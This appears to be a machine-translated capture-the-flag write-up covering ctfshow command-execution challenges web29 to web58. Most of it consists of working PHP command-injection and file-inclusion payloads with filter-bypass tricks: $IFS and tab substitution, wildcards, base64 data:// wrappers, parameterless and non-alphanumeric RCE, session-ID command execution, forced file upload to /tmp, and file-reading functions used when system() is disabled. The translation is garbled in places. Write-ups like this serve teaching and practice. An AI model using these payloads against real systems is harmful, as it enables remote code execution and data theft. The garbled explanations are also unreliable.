Ctfshow command execution web29

pregmatchIs a regular matching function, matching whether it contains flag, if(!preg_match("/flag/i", $c)), /iignoring case

You can use system to indirectly execute system commands

The flag is f*bypassed, or mv fl?g.php 1.txtthe file name is modified, orcat 反引号ls反引号

linux wildcard: https://www.cnblogs.com/ysuwangqiang/p/11364173.html

Ctfshow command executes web30

More filtering for system and php

Use *bypass andpassthru

Ctfshow command executes web31

filterflag system php cat sort shell . 空格 '

If spaces are filtered, you can use %09substitution; you can also use {$IFS}or$IFS$1

The parameters are passed as follows:

?c=passthru("tac%09fla*");

Ctfshow command executes web32

filterflag system php cat sort shell . 空格 ' 反引号 echo

The previous methods are no longer useful. It doesn't matter, file inclusion will take care of it.

https://www.cnblogs.com/endust/p/11804767.html

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Ctfshow command executes web33

I added (the and "filtering, it's okay, the file inclusion can still be used.

Payload：

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

Additionally, log inclusion is possible here.

Ctfshow command executes web34

:Okay, it's been filtered now . It's okay, the file can still be used.

Payload：

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

Ctfshow command executes web35

<and =are also filtered, it doesn't matter, the file contains and can still be used

Payload：

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Ctfshow command executes web36

After adding filtering for sum /and 数字0-9file, the file still contains the same payload.

Ctfshow command executes web37

Good guy, you just gave me the file and included it, right?

Payload: (Using base64 encoding to bypass filtering)

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==       

//(<?php system("tac flag.php");?>)

Ctfshow command executes web38

Payload remains unchanged.

Ctfshow command executes web39

Although the suffix is imposed, it does not affect it. Because ?>the PHP statement has been closed.

?c=data://text/plain,<?php system("tac fla*.php");?>

Ctfshow command executes web40

A lot of things are filtered. Only spaces, semicolons, and English brackets can still be used.

I took a look at wp (https://blog.csdn.net/Kracxi/article/details/121041140) and found that there was nothing I could do. This question does not involve RCE.

Two payloads.

?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

The following are the practical functions of parameterless RCE that I learned and compiled during the problem-solving process. (Partly based on Master Fu Jinyuan’s web mind map)

In addition to parameterless RCE, there is another way to use sessions.

payload：

?c=session_start();system(session_id());

session_id (PHPSESSID) is the command to be executed.

But this method has a drawback. The command cannot have spaces, because cookies do not parse spaces.

Ctfshow command executes web41

The principle of non-alphanumeric rce: use various non-numeric characters to construct a single alphabetical character through various transformations (XOR, negation, auto-increment), and then splice the single characters into a function name, such as system , and then it can be executed dynamically. So the core here is to replace non-alphabetic characters with alphabetic characters. (https://www.cnblogs.com/pursue-security/p/15404150.html)

Code audit, no filtering or (|). Run a script (I am the script boy)

View the catalog.

Ctfshow command executes web42

Let’s look at the source code first, a new thing>/dev/null 2>&1

meaning:

1>/dev/null : First, it means that the standard output is redirected to an empty device file, that is, no information is output to the terminal and no information is displayed.

>Represents where to redirect, for example: echo “123” > /home/123.txt

1Represents stdout standard output. The system default value is 1, so ">/dev/null" is equivalent to "1>/dev/null"

2Represents stderr standard error

&Indicates the same meaning, 2>&1, indicating that the output redirection of 2 is equivalent to 1

; The way to bypass this is to add a truncate command or %0aor or %26(&)or after the command ||. The specific principle is that redirection is also part of the command. For example, if and 命令1;命令2 1>/dev/nullis executed , although command 2 is redirected, command 1 is not.命令1命令2 1>/dev/null

Ctfshow command executes web43

The delimiter is filtered; it can be replaced with other delimiters. Cat filtering can be replaced by tac, nl, or various escape characters \, ', ".

Payload：

?c=tac flag.php%26

Ctfshow command executes web44

Added a pair flagof filters, we use escape characters to bypass.

Payload:

?c=nl%20fl\ag.php||

Ctfshow command executes web45

Added 空格the right filter and %09replaced it with.

Payload：

?c=tac%09fla*||

Ctfshow command executes web46

2023.8.16 After half a year, obsessive-compulsive disorder forced me to finish the basics.

Added filtering for 数字, *, $and spaces. Spaces can be replaced by <>or (%09 is URL encoding, not a number). Wildcards are filtered but cannot be used, so use the escape character or .<%09*?flag\''

payload：

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

I found a strange payload: Wildcards ?can be used here again, which makes me full of question marks? ? ? ? ? Later I checked and found out that it was because ** <and ?** could not be used at the same time. The above payload was changed and it c=tac%09fla?.php||worked.

?c=awk%09'/f/'%09fla?.php||

等价于?c=awk%09'/f/{print}'%09fla?.php||

It does work, please explain. This payload is the line flag.phpcontaining the string in the output file f.

If we replace fit ctfshow, then only the flag will be output.

Reference article:

https://blog.csdn.net/Dark_Tk/article/details/114844529

Ctfshow command executes web47

Some more command execution functions have been filtered more less head sort tail. But did not filter my favorites tac, nland awk.

The payload remains unchanged:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||

Ctfshow command executes web48

sed cut awk strings od curlSome more command execution functions and functions are filtered 反引号. But not filtered my favorite tacand nl.

The payload remains unchanged:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow command executes web49

The extra percent signs are filtered %, which has no effect on my payload. I use spaces to <bypass them.

The payload remains unchanged:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow command executes web50

I added more filters \x09(horizontal tabs) and \x26(&), which had no effect on my payload.

The payload remains unchanged:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow command executes web51

There are more filters tac, and there is another payload that can be used.

The payload remains unchanged:

?c=nl<fla''g.php||        //在源码里面

# Ctfshow command executes web52

<The sum is filtered >, but not filtered $. Just use $IFSor ${IFS}bypass spaces in the payload mentioned above.

payload：

?c=nl$IFS/fla''g||        //flag在根目录
?c=nl${IFS}/fla''g|| 
?c=ta''c$IFS/fla''g||        
?c=c''at${IFS}/fla''g||

Ctfshow command executes web53

The filtering remains unchanged, and there is no redirection this time.

payload：

?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||   
?c=nl${IFS}fla''g.php|| 
?c=ta''c$IFSfla''g.php||        
?c=c''at${IFS}fla''g.php||

Ctfshow command executes web54

This time the filtering was a bit harsh.

In addition to the symbols 反引号, \x09, \x26, %, <, >, are also filtered and cannot be bypassed using escape characters.*cat flag more wget less head sort tail sed cut tac awk strings od curl nl scp rm

Use other commands to read the flag

?c=uniq${IFS}f???????

?c=grep${IFS}'tf'${IFS}fl???php
（在 fl???php匹配到的文件中，查找含有tf的文件，并打印出包含 tf 的这一行,好奇怪，这里只有tf、sh、ow、{、}能找出flag）

Use file execution commands + wildcards to bypass filtering (note that ca?${IFS}f??? is not allowed here)

/binthis directory.

binis binarythe abbreviation for mainly placing some necessary executable files of the system, such as: cat, cp, chmod df, dmesg, gzip, kill, ls, mkdir, more, mount, rm, su, tar, base64, etc.

?c=/bin/ca?${IFS}f???????

Copy files

?c=mv${IFS}fl?g.php${IFS}x.txt

Ctfshow command executes web55

hint：

https://blog.csdn.net/qq_46091464/article/details/108513145

https://blog.csdn.net/qq_46091464/article/details/108557067

Filtered 所有字母and 反引号, \x09, \x26, %, <, >. This question examines RCE without letters.

method one:

Use file execution command + wildcard to bypass filtering

?c=/???/????64 ????.???
//  即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有

?c=/???/???/????2 ????.???
//  即/usr/bin/bzip2 flag.php
//把flag.php给压缩，然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。

Method Two:

This question is that command execution is not code execution, and operations such as XOR/splicing cannot be performed. Only if eval()the content is controllable (code execution) can XOR/splicing and other operations be performed, because it is the PHP code that recognizes XOR/splicing and other operations, not the terminal (cmd).

[Non-alphanumeric RCE under forced file upload]

This question tests PHP's forced file upload mechanism.

PHP superglobal variables are as follows

$_GET      //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES     //存放所有文件

In PHP, when files are forced to be uploaded, the files will be stored /tmp/phpxxxxxxin temporary files.

The last six digits of this file xxxxxxare composed of uppercase and lowercase letters and numbers, and their life cycle is only when the PHP code is running.

The regular matching in the question filters out uppercase and lowercase letters (i) and numbers.

So if we want to match, /tmp/phpxxxxxxwe can use wildcards/???/?????????

/???/?????????The scope is too big, how do we narrow it down?

Check the ascii code table, A is preceded by @, and Z is followed by [

/???/????????[@-[]It means the last digit is capitalized

When the last character of the temporary file is an uppercase letter, /???/????????[@-[]the file can be matched.

In Linux, .means executing a file, which is equivalent to sourceexecuting the sh command.

If the uploaded file is a shell script, then . /???/????????[@-[](the space in burp should be written +as or %20), the shell script can be executed to implement RCE.

How to force file upload?

We can write a form file on vps

upload.html

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

Visit upload.html on vps

Upload a file with whoamicontent txt. Capture packets at the same time.

Change the package. It was found that it could be executed normally and the results were returned.

Get flag. (The probability of success is that the probability of the last digit being capitalized is 26/26+26+10. Just send a few more packages)

Ctfshow command executes web56

This time it 数字was also filtered.

As in the previous question, PHP's forced file upload mechanism can still be used.

Ctfshow command executes web57

This time there was a lot more filtering. The dot number is filtered .and the file upload mechanism cannot be forced using PHP.

preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)

Question prompt flag in 36.php.

Key code: system("cat ".$c.".php");.

What we can control is that $caccording to the prompts, we only need to construct it 36.

First fill in the prerequisite knowledge: binary inversion

The first bit in binary is the sign bit, 0 represents a positive number, 1 represents a negative number, if 0000 0001yes +1, 1000 0001yes -1. At the same time, by adding related concepts such as the complement original code, you can understand binary inversion.

Conclusion: If a is bitwise inverted, the result is -(a+1). 36The negation is yes -37, -37the negation is yes 36.

For details, please see: https://zhuanlan.zhihu.com/p/261080329

in linux

${_}Represents the result of the last command execution

$(())Represents doing operations, which is 0

$((~$(())))represents ~0(inverted 0) as-1

$((~$(()))) $((~$(()))) $((~$(())))represent-1-1-1

$(( $((~$(())))$((~$(())))$((~$(()))) ))It means -1-1-1doing calculations-3

$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))It means negating it -1-1-1after doing the operation .-32

The 37 numbers in the middle $((~$(())))are -37, and after negating them, they are36

$((~$((   $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))   ))))

payload：

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

flag is in the source code.

Ctfshow command executes web58

This question has no filtering, but the function is starting to be disabled.

phpinfoGenerally, check the disabled functions first . But phpinfoit is also disabled here, so you can only try one by one.

Disabled phpinfo, system, shell_execetc.

Y4ye's blog gives two ways to read file paths
c=print_r(scandir(dirname('__FILE__')));(view the root directory: print_r(scandir('/')); )

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

The functions for reading files include:

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()

Read file function payload:

c=echo file_get_contents('flag.php');

c=echo highlight_file('flag.php');
c=highlight_file("flag.php");

c=show_source('flag.php');

c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}

//file()函数：把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));

c=readfile("flag.php");

//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

You can also copy and rename files:

copy("flag.php","flag.txt");            
rename("flag.php","flag.txt");

The file contains the flag for direct reading:

c=include('flag.php');echo $flag;

c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php

c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组

In addition, you can also use parameterless RCE, log inclusion and other methods, which will not be listed one by one.